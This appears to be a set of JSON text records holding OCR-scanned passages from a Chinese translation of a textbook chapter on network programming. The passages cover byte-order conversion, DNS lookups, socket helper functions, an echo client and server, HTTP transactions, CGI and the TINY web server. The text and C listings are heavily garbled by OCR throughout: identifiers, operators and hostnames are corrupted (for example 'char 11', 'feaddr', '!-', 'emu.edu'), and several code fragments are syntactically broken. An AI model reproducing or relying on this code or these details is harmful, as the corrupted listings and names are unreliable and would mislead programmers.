    {"text": "Unix提供了下面这样的函数在网络和主机字节顺序间实现转换： #include <netinet/in.h> unsigned long int htonl(unsigned long int hostlong); unsigned short int htons(unsigned short int hostshort); 返回：按照网络字节顺序的值。 unsigned long int ntohl(unsigned long int netlong); unsigned short int ntohs(unsigned short int netshort); 返回：按照主机字节顺序的值。 htonl函数将32位整数由主机字节顺序转换为网络字节顺序。 ntohl函数将32位整数从 网络字节顺序转换为主机字节。 htons和ntohs函数为16位的整数执行相应的转换。"},
    {"text": "例如，128.2.194.242就是地址0x8002c2f2的点分十进制表 示。 在Linux系统上，你能够使用HOSTNAME命令来确定你自己主机的点分十进制地址： linux> hostname -i 128.2.194.242 因特网程序使用inet_aton和inet一ntoa函数来实现IP地址和点分十进制串之间的转换： #include <axpa/inet.h> int inet_aton(const char *cp, struct in_addr *inp); 返回 ：若成功则为 1, 若出错则为 0 。 char * inet_ntoa(struct in_addr in); 返回： 指向点分十进制字符串的指针。 inet_at 0 n函数将一个点分十进制串（cp)转换为一个网络字节顺序的IP地址（inp)。 相 似地,inet一ntoa函数将一个网络字节顺序的IP地址转换为它所对应的点分十进制串。 注意, 对inet一aton的调用传递的是指向结构的指针，而对inet_ntoa的调用传递的是结构本身。"},
    {"text": "®练习题11.1完成下表： 十六进制地址 点分十进制地址 0x0 Oxffffffff 0x7f000001 205.188.160.121 64.12.149.13 205.188.146.23 自练习题 11.2 编写程序 he X 2dd.c, 它将十六进制参数转换为点分十进制串并打印出结果。 例如 unix> ./hex2dd 0x8002c2f2 128.2.194.242 ®练习题 11.3 编写程序 dd2hex.c, 它将它的点分十进制参数转换为十六进制数并打印出结果。"},
    {"text": "域名是一串用句点分隔的单词（字母、数字和破折号)，例如 kittyhawk.cmcl•cs. emu.edu 域名集合形成了一个层次结构，每个域名编码了它在这个层次中的位置。"},
    {"text": "第一层域名 第二层域名 第三层域名 mil edu gov cc /K mit emu berkeley 八 208.216.181.15 cs ece z\\ cmcl kittyhawk imperial 128.2.189.40\n图11-10因特网域名层次结构的一部分 因特网定义了域名集合和IP地址集合之间的 映射。"},
    {"text": "从概念上而言，DNS数据库由上 百万的如图11-11所示的 主机条目结构 （host entry structure)组成的，其中每条定义了一组域名 (一个官方名字和一组别名）和一组IP地址之间的映射。"},
    {"text": "/* DNS host entry structure */ struct hostent { char *h_name; char 11 h_aliases; int h_addrtype; int h_length; char **h_addr_list; netdb.h / 12 Official domain name of. host */ /* Null-terminated array of domain names */ /* Host address type (AF 一 INET) */ /* Length of an address, in bytes */ /* Null-terminated array of in_a\n#include <netdb.h> struct hostent 13 gethostbyname(const char *name); 返回：若成功则为非 NULL 指针，若出错则为 NULL 指针，同时设置匕 _ 63：1：110。 struct hostent *gethostbyaddr(const char *addr, int len, 0); 返回：若成功则为非 NULL, 若出错则为 NULL 指针，同时设置匕 _ 6二110。 gethostbyname函数返回和域名name相关的主机条目。 gethostbyaddr函数返回和 IP地址addr相关联的主机条目。"},
    {"text": "code/netp/hostinfo.c #include \"csapp.h\" int main(int argc, char 14 argv) { char **pp; struct in_addr addr; struct hostent *hostp; if (argc != 2) { fprintf(stderr, \"usage: %s <domain name or dotted-decimal>\\n\", argv[0]); exit(0); } if (inet_aton(argv[l], feaddr) != 0) hostp = Gethostbyaddr((const char *)feaddr, sizeof(addr), AF_INET); else hostp 二 Gethostbyname (argv [1]); printf(\"official hostname: %s\\n\", hostp->h_name); for (pp = hostp->h_aliases; *pp !- NULL; pp++) printf(\"alias: %s\\n\", *pp); for (pp = hostp->h_addr_list ; *pp != NULL; pp++) { addr.s_addr = ((struct in_addr *)*pp)->s_addr; printf(\"address: %s\\n\", inet_ntoa(addr)); exit(0); localhost名字为引用运行在同一台机器上的客户端和服务器提供了一种便利和可移植的 方式，这对调试相当有用。 我们可以使用HOSTNAME来确定本地主机的实际域名 ： 皿 ix> hostname bluef ish.ics.cs. emu.edu 在最简单的情况下， 一 个域名和一个 IP 地址之间是 一一 映射的 ： unix> ./hostinfo bluefish.ics.cs.emu.edu official hostname: bluefisli.ics.cs.emu.edu alias: bluefish.alias.cs.cmu.edu address: 128.2.205.216 然而，在某些情况下 ， 多个域名可以映射为同一个IP地址： unix> . /hostinfo cs.mit.edu official hostname: eecs.mit.edu alias: cs.mit.edu address: 18.62.1.6 在最通常的情况下，多个域名可以映射到多个IP地址： 皿 ix> ./hostinfo google.com official hostname: google. com • address: 74.125.45.100 address: 74.125.67.100 address: 74.125.127.100 最后，我们注意到某些合法的域名没有映射到任何IP地址： unix> ./hostinfo edu Gethostbyname error: No address associated with name 皿 ix> ./hostinfo cmcl .cs . emu . edu Gethostbyname error: No address associated with name 有多少因特网主机？"},
    {"text": "并且从（除了一些 如粗心的耕锄机操作员切断了电缆引起灾难性的失败以外）由源进程发出的字节流最终被目的进 程以它发出的顺序收到它的角度来说，它也是可靠的。"},
    {"text": "这对套接字地址叫做套接字对（socket pair),由下列元组来表示： (cliaddr:cliport, servaddr:servport) 其中cliaddr是客户端的IP地址，cliport是客户端的端口，servaddr是服务器的IP地址， 而servport是服务器的端口。"},
    {"text": "客户端套接字地址 服务器套接字地址 128.2.194.242:51213 208.216.181.15:80 ! i.... *>!/ ! 1 各尸雕 f 1 ’ 连接套接字对 (128.2.194.242:51213, 20^.216.181.15:80) j (port 80) J j 客户端主机地址 服务器主机地址 128.2.194.242 208.216.181.15 图 11-13 因特网连接分析 在这个示例中，Web客户端的套接字地址是 128.2.194.242:51213 其中端口号51213是内核分配的临时端口号。 Web服务器的套接字地址是 208.216.181.15:80 其中端口号80是和Web服务相关联的知名端口号。 给定这些客户端和服务器套接字地址，客户 端和服务器之间的连接就由下列套接字对唯一确定了： (128.2.194.242:51213, 1208.216.181.15:80) 因特网的起源 因特网是政府、•学校和工业界合作的最成矽的示例之一。"},
    {"text": "它成功的因素很多，但是我们认为 有两点尤其重要：美国政府30年持续不变的投资,以及充满激情的研究人员对麻省理工学院的 DaveClarke提出的“粗略一致和能用的代码”的投入。"},
    {"text": "1972年，Robert Kahn概括了网络互族的一般原则：一组互相连接的网络，通过叫做“路 由器”的黑盒子按照“尽力传送基础”在互相独立处理的网络间实现通信。"},
    {"text": "1974年，Kahn和 Vinton Cerf发表了 TCP/IP协议的第一本详细资料，到1982年它成为了 ARPANET的标准网络互 联协议。 1983年1月1日，ARPANET的每个节点都切换到TCP/IP,标志着全球IP因特网的诞生。"},
    {"text": "1995 年，已经有几乎 10 000 000 台因特网主机 了， NSF 取消了 NSFNET ,并且用基于由公众网络接入点连接的私有商业骨干网的现代因特网 架构取代了它。"},
    {"text": "sockaddr: socketbits.h (included by socket.h), sockaddr_in: netinet/in.h /* Generic socket address structure (for connect, bi.nd s and accept) */ struct sockaddr i unsigned short sa_family; /* Protocol family 氺 / char sa_data[14]; /* Address data. */ /* Internet-style socket address structure */\nstruct sockaddr_in unsigned short unsigned short struct in_addr unsigned char sin_family; sin_port; sin_addr; sin_zero[8] /* Address family (always AF_INET) */ /* Port number in network byte order */ /* IP address in network byte order */ /* Pad to sizeof(struct sockaddr) */\nsockaddr: socketbits.h (included by socket.h), sockaddr 一 in: netinet/in.h 图 11-15 套接字地址结构。"},
    {"text": "解决办法是定义 套接字函数要求一个指向通用sockaddr结构的指针，然后要求应用程序将与协议特定的结构的 指针强制转换成这个通用结构。 为了简化代码示例，我们跟随Steven的指导，定义下面的类型： typedef struct sockaddr SA; 然后无论何时需要将sockaddr_in结构强制转换成通用sockaddr结构，我们都使用这个类 型（参见图11-16的第20行的示&)。"},
    {"text": "#include <sys/types.h> #include <sys/socket.h> int socket(int domain, int type, int protocol); 返回：若成功则为非负描述符，若出错则为一 1 。"},
    {"text": "在我们的代码中总是带这样的参数来调用socket函数： clientfd = Socket(AF.INET, SOCK 一 STREAM, 0); 其中，AFJNET表明我们正在使用因特网，而SOCK一STREAM表示这个套接字是因特网连接的 一个端点。"},
    {"text": "#include <sys/socket.h> int connect(int sockfd, struct sockaddr *serv_addr, int addrlen); 返回：若成功则为 0, 若出错则为一 1 。 connect函数试图与套接字地址为serv_addr的服务器建立一个因特网连接，其中 addrlen是sizeof (sockaddr一in)。"},
    {"text": "如果成功，sockfd描述符现i就准备好可以读写了，并且得到的连接是由套接字对 (x:y, serv_addr.sin_addr:serv_addr.sin_port) 刻画的，其中X表示客户端的IP地址，而y表示临时端口，它唯一地确定了客户端主机上的客 户端进程。"},
    {"text": "#include \"csapp.h\" int open_clientfd(char *hostname, int port); 返回：若成功则为描述符，若 Unix 出错则为一 1 ，若 DNS 出错则为一 2 。 open_clientfd函数和运行在主机hostname上的服务器建立一个连接，并在知名端口 port上监听连接请求。"},
    {"text": "~： code/src/csapp. c int open_clientfd(char *hostname, int port) 2 { int clientfd; struct hostent *hp; struct sockaddr_in serveraddr; 6 if ((clientfd = socket(AF.INET, SOCK.STREAM, 0)) < 0) return -1; /* Check errno for cause of error */ 9 /* Fill in the server's IP address and port */ ri if ((hp = gethostbyname(hostname)) == NULL) return -2; /* Check h„errno for cause of error */ bzero((char *) ftserveraddr, sizeof(serveraddr)); serveraddr.sin_family = AF_INET; bcopy((char *)hp->h_addr一list[0], (char *)&serveraddr•sin_addr.s_addr, hp->h_length); serveraddr.sin_port = htons(port); 18 /* Establish a connection with the server 氺 / if (connect(clientfd, (SA *) &serveraddr, sizeof(serveraddr)) < 0) return -1; return clientfd; 23 } ： code/src/csapp. c 图11-16 open_clientfd ：和服务器建立连接的辅助函数 在创建了套接字描述符（第7行）后，我们检索服务器的DNS主机条目，并拷贝主机条 目中的第一个IP地址（已经是按照网络字节顺序了）到服务器的套接字地址结构（第11〜16 行)。"},
    {"text": "当connect函数返回时，我们返回套接字描述 符给客户端，客户端就可以立即开始用Unix I/O和服务器通信了。 bind 函数 剩下的套接字函数bind、listen和accept被服务器用来和客户端建立连接。"},
    {"text": "#include <sys/socket.h> int listen(int sockfd, int backlog); 返回：若成功则为 0, 若出错则为一 1 。 listen函数将sockfd从一个主动套接字转化为一个监听套接字(listening socket),该套 接字可以接受来自客户端的连接请求。"},
    {"text": "open_listen£d 函数 我们发现将socket、bind和listen函数结合成一个叫做open一listenfd的辅助函数 是很有帮助的，服务器可以用它来创建一个监听描述符。"},
    {"text": "code/src/csapp.c int open_listenfd(int port) 2 { int listenfd, optval=l; struct sockaddr_in serveraddr; 5 /* Create a socket descriptor */ if ((listenfd = socket(AF—INET, SOCK.STREAM, 0)) < 0) return -1; 9 /* Eliminates \"Address already in use” error from bind 氺 / if (setsockopt(listenfd, S0L_S0CKET, SD_REUSEADDR, (const void *)&optval , sizeof(int)) < 0) return -1; 14 /* Listenfd will b© an end point for all requests to port on any IP address for this host */ bzero((char *) feserveraddr, sizeof(serveraddr)); serveraddr.sin_family = AF_INET; serveraddr.sin_addr.s_addr = htonl(INADDE_ANY); serveraddr.sin_port = htons((unsigned short)port); if (bind(listenfd, (SA *)&serveraddr, sizeof(serveraddr)) < 0) return -1; 23 /* Make it a listening socket ready to accept connection requests 本 / if (listen(listenfd, LISTENQ) < 0) return 一 1; return listenfd; > : ; ——^ — code/src/csapp. c 图11-17 open_listenfd ：打开和返回一个监听套接字的辅助函数 接下来，我们初始化服务器的套接字地址结构，为调用bind函数做准备。"},
    {"text": "在这个例子中， 我们用INADDR—ANY通配符地址来告诉内核这个服务器将接受到这台主机的任何IP地址（第 19行）和到知名端口 port (第20行）的请求。"},
    {"text": "accept 函数 服务器通过调用accept函数来等待来自客户端的连接请求： #include <sys/socket.h> int accept(int listenfd, struct sockaddr *addr, int *addrlen); 返回：若成功则为非负连接描述符，若出错则为一 1 。 accept函数等待来自客户端的连接请求到达侦听描述符listenfd,然后在addr中填写 客户端的套接字地址，并返回一个 已连接描述符 （connected descriptor),这个描述符可被用来利 用Unix I/O函数与客户端通信。"},
    {"text": "在第二步中，客户端调用connect函数，发送一个连接请求到listenfd。 第三步，accept函数打开了一个新的已连接描述符connfd (我们假设是描述符4),在 clientfd和connfd之间建立连接，并且随后返回connfd给应用程序。 客户端也从 connect返回，在这一点以后，客户端和服务器就可以分别通过读和写clientfd和cormfd 来回传送数据了。"},
    {"text": "listenfd(3)\n服务器 客户端 1.服务器阻塞在accept,等待监听 描述符listenfd上的连接请求。 clientfd\n连接请求 listenfd(3)\n服务器 客户端 2.客户端通过调用和阻塞在connect, 创建连接请求。 clientfd 3.服务器从accept返回connfd。"},
    {"text": "在 和服务器建立连接之后，客户端进入一个循环，反复从标准输入读取文本行，发送文本行给服务 器，从服务器读取回送的行，并输出结果到标准输出。"},
    {"text": "当fgets在标准输入上遇到EOF时，或 者因为用户在键盘上键入ctrl-d,或者因为在一个重定向的输入文件中用尽了所有的文本行 时，循环就终止。"},
    {"text": "listenfd(3) 客户端 服务器 connfd(4) clientfd\ncode/netp/echoclient. c #include \"csapp.h\" 2 int main (int surge, char **argv) { int clientfd, port; char *host, buf[MAXLINE]; rio_t rio; 8 if (argc != 3) { fprintf(stderr, \"usage: %s <host> <port>\\n\", argv[0]); exit(0); > host = argv[1]; port = atoi(argv[2]); 15 clientfd = Open_clientfd(host, port); Rio_readinitb(&rio, clientfd); 18 while (Fgets(buf, MAXLINE, stdin) != NULL) { Rio_writen(clientfd, buf, strlen(buf)); Rio_readlineb(&rio, buf, MAXLINE); Fputs(buf, stdout); . } Close(clientfd); exit(0); > code/netp/echoclient. c 图11-19 echo客户端的主程序 图11-20展示了 echo服务器的主程序。"},
    {"text": "对于因特网连接，当一个进程关闭连接它的 那一端时，会发生EOF。 连接另一端的进程在试图读取流中最后一个字节之后的字节时，会检 测到EOF。"},
    {"text": "code/netp/echoserveri. c #include \"csapp.h\" 2 void echo(int connfd); A int main(int argc, char **argv) { int listenfd, connfd, port, clientlen; B struct sockaddr.in clientaddr; struct hostent *hp; char *liaddrp; if (argc != 2) { fprintf(stderr, \"usage: %s <port>\\n\", argv[0]); exit(0); > port = atoi(argv[1]); 16 listenfd = Open_listenfd(port); while (1) { clientlen = sizeof(clientaddr); connfd = Accept(listenfd, (SA *)&clientaddr, &clientlen); 21 /* Determine the domain name and IP address of the client */ hp = Gethostbyaddr((const char *)feclientaddr.sin_addr.s_addr, sizeof(clientaddr.sin^addr.s_addr), AF_INET); haddrp = inet_ntoa(clientaddr.sin_addr); printf (\"server connected to %s (%s)\\n\", tLp->h_name, haddrp); 27 echo(connfd); Close(connfd); > exit (0); > 1 ： code/netp/echoserverl c 图11-20迭代echo服务器的主程序 ; code/netp/echo. c 2 3 4 5 6 7 9 10 11 12 13 #include \"csapp.h 11 void echo(int connfd) size_t n; char buf[MAXLINE]; rio_t rio; Rio_readinitb(&rio, connfd); while((n = Rio_readlineb(&rio, buf, MAXLINE)) != 0) i printf(\"server received %d bytes\\n n , n); Rio_writen(connfd, buf, n); > > code/netp/echo. c 图11-21读和回送文本行的echo函数\n11.5 Web 服务器 迄今为止，我们已经在一个简单的 echo 服务器的上下文中讨论了网络编程。"},
    {"text": "例如， 一个格式如下的HTML行 <a href=\"littp: //www. emu. edu/index. html n >Carnegie Mellon</a> 告诉浏览器高亮显示文本对象“Carnegie Mellon”，并且创建一个超链接，它指向存放在 CMU Web服务器上叫做index.html的HTML文件。"},
    {"text": "• 1993 年一个关键事件发生了 ，Marc Andreesen (他后来创建了 Netscape )和他 在 NCSA 的同事发布了一种图形化的浏览器 ， 叫做 MOSAIC, 可以在三种主要的平台上使用： Unix 、 Windows 和 Macintosh 。"},
    {"text": "到 2009 年，世界上已经有超过 225 000 000 个 Web 网站了（源自 Netcraft Web Survey ) 0 Web 内容 对于Web客户端和服务器而言 ， 内容是与一个MIME (Multipurpose Internet Mail Extensions, 多用途的网际邮件扩充协议）类型相关的字节序列。"},
    {"text": "Web服务器以两种不同的方式向客户端提供内容： •取一个磁盘文件，并将它的内容返回给客户端。 磁盘文件称为静态内容（static content), 而返回文件给客户端的过程称为服务静态内容（serving static content) 。"},
    {"text": "MIME 类型 描述 text/html text/plain application/postscript image/gif image/jpeg HTML 页面 无格式文本 Postscript 文档 GIF 格式编码的二进制图像 JPEG 格式编码的二进制图像 图11-22 MIME类型示例 •运行一个可执行文件，并将它的输出返回给客户端。"},
    {"text": "运行时可执行文件产生的输出称为动 态内容 （dynamic content),而运行程序并返回它的输出到客户端的过程称为 服务动态内容 (serving dynamic content) 0 每条由Web服务器返回的内容都是和它管理的某个文件相关联的。"},
    {"text": "例如，URL http://www.google . com:80/index.html 表示因特网主机www .google .com上一个称为/index.html的HTML文件，它是由一个监 听端口 80的Web服务器管理的。"},
    {"text": "例如，URL http://bluefish.ics.cs.emu.edu:8000/cgi-bin/adder?15000&213 掭识了一 个叫做 /cgi-bin/adder的可执行文件，会带两个参数字符串1 5 000和21 3 来调用 io 在事务过程中，客户端和服务器使用的是URL的不同部分。"},
    {"text": "服务器使用后缀 /index.html 来发现在它文件系统中的文件，并确定请求的是静态内容还是动态内容。 关于服务器如何解释一个URL的后缀，以下几点需要理解： •确定一个URL指向的是静态内容还是动态内容没有标准的规则。"},
    {"text": "例如，可以将一个服务器配置成这样:所有的静态内容存放在目录/usr/ httpd/html下，而所有的动态内容都存放在目录/usr/httpd/cgi-bin下。"},
    {"text": "i 皿 ix> telnet www.aol.com 80 Client: open connection to server 2 Trying 205.188.146.23... Telnet prints 3 lines to the terminal 3 Connected to aol.com. 4 Escape character is 卜 ] 1 • 5 GET / HTTP/1.1 Client ： request line 6 Host: www • aol•com Client: required HTTP/1.1 header 7 Client: empty line terminates headers 8 HTTP/1.0 200 OK Server: _ response line 9 MIME-Version: 1.0 Server ： followed by five response headers 10 11 Date : Mon, 8 Jan 2010 4:59:42 GMT Server : Apache-Coyote/ 1 . 1 '12 Content-Type: text/html Server: expect HTML in the response body 13 Content-Length : 42092 Server ： expect 42,092 bytes in the response body 14 Server: empty line terminates response headers 15 <html> Server: first HTML line in response body- 16 Server: 766 lines of HTML not shown 17 </html> Server: last HTML line in response body 18 Connection closed by foreign host. Server: closes connection 19 unix> Client: closes connect ion and terminates 图11-23 —个服务静态内容的HTTP事务 在第1行 ？"},
    {"text": "每次我们输入一 个文本行，并键入回车键，TELNET会读取该行，在后面加上回车和换行符号（在C的表示中 为“\\r\\n”)，并且将这一行发送到服务器。"},
    {"text": "HTTP 请求 一个HTTP请求的组成是这样的：一个请求行（request line)(第5行)，后面跟随零个或更 多个请求报头（request header)(第6行)，再跟随一个空的文本行来终止报头列表（第7行)。 一个请求行的形式是 <method> <uri> <version> HTTP 支持许多不同的方法，包括 GET、POST、OPTIONS、HEAD、PUT、DELETE 和 TRACE。"},
    {"text": "HTTP/1.1定义了一些附加的报头, 为诸如缓冲和安全等高级特性提供支持，它还支持一种机制，允许客户端和服务器在同一条持久 连接(persistent connection)上执行多个事务。"},
    {"text": "请求报头的格式为 <header name>: <header data> 针对我们的目的，唯一需要关注的报头是Host报头（第6行)，这个报头在HTTP/1.1请求中是需 要的，而在HTTP/1.0请求中是不需要的。"},
    {"text": "一个 HTTP响应的组成是这样的 ： 一个响应行 (response line)(第8行）后面跟随着零个或更多的响 应报头 （response header)(第9〜13行 ）， 再跟随一个终止报头的空行（第14行)，再跟随 一个响应主体 （response body)(第15〜17行)。"},
    {"text": "状态代码 状态消息 描述 200 成功 处理请求无误 . 301 永久移动 内容已移动到位置头中指明的主机# 400 错误请求 服务器不能理解请求 403 禁止 服务器无权访问所请求的文件 404 未发现 服务器不能找到所请求的文件 501 未实现 服务器不支持请求的方法 505 HTTP版本不支持 服务器不支持请求的版本 图11-24 —些HTTP状态码 11.5.4服务动态内容 如果我们停下来考虑一下，一个服务器是如何向客户端提供动态内容的，就会发现一些问题。"},
    {"text": "例如，客户端如何将程序参数传递给服务器？ 服务器如何将这些参数传递给它所创建的子进程？ 服务器如何将子进程生成内容所需要的其他信息传递给子进程？ 子进程将它的输出发送到哪里？"},
    {"text": "服务器如何将参数传递给子进程 在服务器接收一个如下的请求后 GET /cgi-bin/adder?15000&213 HTTP/1.1 它调用fork来创建一个子进程，并调用execve在子进程的上下文中执行/cgi-bin/adder 程序。"},
    {"text": "环境变量 描述 QUERY_STRING SERVER—PORT REQUEST_METHOD REMOTE 一 HOST REMOTE 一 ADDR CONTENT 一 TYPE CONTENT 一 LENGTH 程序参数 父进程侦听的端口 GET 或 POST 客户端的域名 客户端的点为十进制 IP 地址 只对 POST 而言：请求体的 MIME 类型 只对 POST 而言 ： 请求体的字节大小 图11-25 CGI环境变量示例 4 .子进程将它的输出发送到哪里 一个CGI程序将它的动态内容发送到标准输出。"},
    {"text": "code/netp/tiny/cgi-bin/adder. c 1 2 3 4 5 6 7 9 0 1 2 3 4 6. 7 9 20 21 22 23 24 25 26 27 28 29 .31 #include \"csapp.h\" int main(void) { char *buf, *p; /* if char argl[MAXLINE], arg2[MAXLINE], content[MAXLINE]; int nl:0, n2=0; Extract the two arguments */ • ((buf : getenvC'QUERY^STRING\")) != NULL) { p = strchr(buf, ); *p = '\\0'; strcpy(argl, buf); strcpyCarg2, p+1); nl = atoi(argl); n2 = atoi(arg2); > /* Make the response body 氺 / sprintf(content, \"Welcome to add.com:\"); sprintf(content, \"%sTHE Internet addition portal.\\r\\n<p>\", content); sprintf(content, \"%sThe answer is: %d + %d = %d\\r\\n<p>\", content, nl, n2, nl + n2); sprintf (content, \"7 0 sThanks for visiting! \\r\\n\", content); /* Generate the HTTP response */\ncode/netp/tiny/cgi-bin/adder. c 图11-26对两个整数求和的CGI程序 1 unix> telnet .cs.cjnu.edu 8000 Client: open connection 2 Trying 128.2.194. 242... 3 Connected to kittyhawk.cmcl.cs. emu.edu, 4 Escape character is 1 . 5 GET /cgi-bin/adder?15000&213 HTTP/1.0 Client: ‘ request line 6 Client: ' empty line terminates headers 7 HTTP/1.0 200 OK Server: ■ response line 8 Server: Tiny Web Server Server: ■ identify server 9 Content-length: 115 Adder: expect 115 bytes in response body 10 Content-type: text/html Adder: expect HTML in response body 11 Adder: empty line terminates headers 12 Welcome to add. com : THE Internet addition portal . Adder ： first HTML line 13 <p>Tlie answer is: 15000 + 213 = 15213 Adder: second HTML line in response body 14 <p>Thanks for visiting! Adder: third HTML line in response body 15 Connection closed by foreign host. Server: 1 cJosgs connection 16 unix> Client: 'closes connection and terminates\n11.6 综合 .• TINY Web 服务器 我们通过开发一个虽然小但是功能齐全的称为TINY的Web服务器来结束我们对网络编程 的讨论。"},
    {"text": "将一个实际的浏览器指向你自己的服务器，看着它显示一个复杂的带有 文本和图片的Web页面，真是非常令人兴奋（甚至对我们这些作者来说,也是如此)。"},
    {"text": "TINY是一个迭代服务器，监听在命令行中传递来的端口 上的连接请求。 在通过调用open_listenfd函数打开一个监听套接字以后，TINY执行典型的 无限服务器循环，不断地接受连接请求（第31行)，执行事务（第32行)，并关闭连接它的那一 端（第33行)。"},
    {"text": "code/netp/tiny/tiny. c 卜 * tiny, c - A. simple, iterative HTTP/1.0 Web server that uses the 氺 GET method to serve static and dynamic content. +/ #include \"csapp.h\" 6 void doit(int fd); void read_requesthdrs(rio一t *rp); int parse_uri(char *uri, chax *filename, char *cgiaxgs); void serve_static(int fd, chax *filename, int filesize); void get_filetype(char *filename, char *filetype); void serve_dynamic(int fd, char *filename, char *cgiargs); void clienterror(int fd, char *cause, char *errnum, char *shortmsg, char 木longmsg); lfi int main (int argc, cliar **argv) { int listenfd, connfd, port, clientlen; struct sockaddr^in clientaddr; 20 /* Check command line args */ if (argc != 2) { fprintf(stderr, \"usage: %s <port>\\n\", argv[0]); 2A exit(l); 2.5 > port = atoi(argv[1]); 27 •28 listenfd = 0pen_listenfd(port); while Cl) i 30' clientlen = sizeof(clientaddr); connfd = Accept(listenfd, (SA *)&clientaddr, ftclientlen); doit(connfd); Close(connfd); > > — code/netp/tiny/tiny. c 图11 -28 TINY Web服务器 doit 函数 图11-29中的doit函数处理一个HTTP事务。"},
    {"text": "如果客/½请求其他方法（比如POST),我们发送给它一个错误 信息，并返回到主程序（第13〜17行)，主程序随后关闭连接并等待下一个连接请求。"},
    {"text": "code/netp/tiny/tiny. c\n1 2 3 4 5 6 7 9 0 1 2 3 4 5 6 7 9 20 21 22 23 2 . 2 2 28 30 U n 34 35 36 37 38 40 41 42 43 44 void doit(int fd) int is_static; struct stat sbuf; char buf[MAXLINE], method[MAXLINE], uri[MAXLINE], version[MAXLINE]; char filename[MAXLINE], cgiargs[MAXLINE]; rio_t rio; / 15 Read request line and headers */ Rio_readinitb(&rio, fd); Rio_readlineb(&rio, buf, MAXLINE); sscanf(buf, \"%s %s %s\", method, uri, version); if (strcasecmp(method, \"GET\")) { clienterror(fd, method, \"501\", \"Not Implemented\", \"Tiny does not implement this method\"); return; } read_requesthdrs(&rio); /* Parse UM from GET request */ is.static = parse_uri(uri, filename, cgiargs); if (stat(filename, &sbuf) < 0) { clienterror(fd, filename, \"404\", \"Not found\", \"Tiny couldn't find this file\"); return; } if (is.static) { /* Serve static content 本 / if (!(S^ISEEGCsbuf.st.mode))丨丨！ （S_IRUSR & sbuf.st_mode)) { clienterror(fd, filename, \"403\", \"Forbidden\", \"Tiny couldn't read the file\"); return; } serve_static(fd, filename, sbuf.st_size); > else { /* Serve dynamic content */ if (!(S_ISREG(sbuf.st.mode)) II !(S.IXUSR & sbuf.st_mode)) { clienterror(fd, filename, \"403\", \"Forbidden\", \"Tiny couldn't run the CGI program\"); return; > serve一dynamic(fd, filename, cgiargs); >\n第11章网络编程▲ 641 然后，我们将URI解析为一个文件名和一个可能为空的CGI参数字符串，并且我们设置一 个标志，表明请求的是静态内容还是动态内容（第21行)。"},
    {"text": "图11-30中的clienterror函数发送一个HTTP响应到客户端，在响应行中 包含相应的状态码和状态消息，响应主体中包含一个HTML文件，向浏览器的用户解释这个错 误。"},
    {"text": "code/netp/tiny/tiny. c 丨 void clienterror(int fd, char *cause, char *errnum, char *shortmsg, char *longmsg) { char buf[MAXLINE], body[MAXBUF]; 5 /本 Build the HTTP response body */ sprintf (body, \"<litml><title>Tiny Error</title>\"); sprintf(body, \"%s<body bgcolor=\"\"ffffff M \">\\r\\n\", body); sprintf(body, \"%s%s: %s\\r\\n\", body, errnum, shortmsg); sprintf(body, \"%s<p>%s: %s\\r\\n\", body, longmsg, cause); sprintf(body, \"%s<hr><em>The Tiny Web server</em>\\r\\n\", body); 12 卜 Print the HTTP response 氺 / sprintf(buf, \"HTTP/1.0 %s %s\\r\\n\", errnum, shortmsg); Rio_writen(fd, buf, strlen(buf)); sprintf(buf, \"Content-type: text/html\\r\\n\"); Rio_writen(fd, buf, strlen(buf)); '18 sprintf (buf, \" Content-length: %d\\r\\n\\r\\n\" , (int) strlen (body)); Rio_writen(fd, buf, strlen(buf)); Rio_writen(fd, body, strlen(body)); code/netp/tiny/tiny. c 图11-30 TINY clienterror ：向客户端发送一个出错消息 read_requesthdrs 函数 TINY不使用请求报头中的任何信息。"},
    {"text": "默认的文件名是 ./home.htmlo\ncode/netp/tiny/tiny. c\nvoid read_requesthdrs(rio_t *rp) char buf[MAXLINE]; 6 7 9 10 11 Rio_readlineb(rp, buf, MAXLINE); while(strcmp(buf, \"\\r\\n\")) { Rio.readlineb(rp, buf, MAXLINE); printf ( \" 0 /oS \" , buf ); > return;\ncode/netp/tiny/tiny. c\n图 11-31 TINY read—requesthdrs ： 读取并忽略请求报头 图11-32中的parse_uri函数实现了这些策略。"},
    {"text": "如果请求的是静态内容（第5行)，我们将清除CGI参数串（第6行)，然 后将URI转换为一个相对的Unix路径名，例如./index .html (第7〜8行)。"},
    {"text": "另一方面，如果请求的是 动态内容（第13行)，我们就会抽取出所有的CGI参熬（第14〜20行)，并将URI剩下的部分 转换为一个相对的Unix文件名（第21〜22行)。"},
    {"text": "code/netp/tiny/tiny. c\n1 2 3 A 5 6 7 9 10 11 12 13 14 15 16 17 18 19 21 22 23 24 25 int parse一uri(char *uri, char *filename, char *cgiargs) char *ptr; if (!strstr(uri, \"cgi-bin\")) { /* Static content */ strcpy (cgiargs, strcpy(filename,\".； strcat(filename, uri); if (uri[strlen(uri)-1] == '/') strcat(filename, \"home.html\"); return 1; > else ■[ /* Dynamic content */ ptr = index(uri, ); if (ptr) { strcpy(cgiargs, ptr+1); *ptr = 1 \\0•; } )； else strcpy(cgiargs, strcpy(filename, \"•\") strcat(filename, uri) return 0; }\ncode/netp/tiny/tiny. c\nserve一static 函数 TINY提供四种不同类型的静态内容：HTML文件、无格式的文本文件，以及编码为GIF和 JPEG格式的图片。"},
    {"text": "code/netp/tiny/tiny. c void serve_static(int fd, char *filename, int filesize) { int srcfd; char *srcp, filetype[MAXLINE], buf[MAXBUF]; 5 /氺 Send response headers to client */ get_filetype(filename, filetype); sprintf(buf, \"HTTP/1.0 200 0K\\r\\n n ); sprintf(buf, \"%sServer: Tiny Web Server\\r\\n\", buf); sprintf (buf, \"7 8 sCont ent-length: %d\\r\\n\", buf, f ilesize); sprintf(buf, \"%sContent-type: %s\\r\\n\\r\\n\", buf, filetype); Rio_writen(fd, buf, strlen(buf)); 13 \"M /* Send response body to client */ srcfd = Open(filename, 0_RD0NLY, 0); srcp = Mmap(0, filesize, PR0T_READ, MAP_PRIVATE, srcfd, 0); Close(srcfd); Rio_writen(fd, srcp, filesize); Munmap(srcp, filesize); > 21 卜 * get_filetype - derive file type from file name */ void get_filetype(char ^filename, char *filetype) { if (strstr(filename, \".html\")) strcpy(filetype, \"text/html\"); else if (strstr(filename, \".gif\")) strcpy (f iletype , \"image/gif\"); 3! else if (strstr(filename, \".jpg\")) strcpy(f iletype , \"image/ jpeg\") ; else strcpy(filetype, \"text/plain\"); 35 > code/netp/tiny/tiny. c 图 11-33 TINYserve_static ：为客户端提供静态内容 接着，我们将被请求文件的内容拷贝到已连接描述符fd来发送响应主体。"},
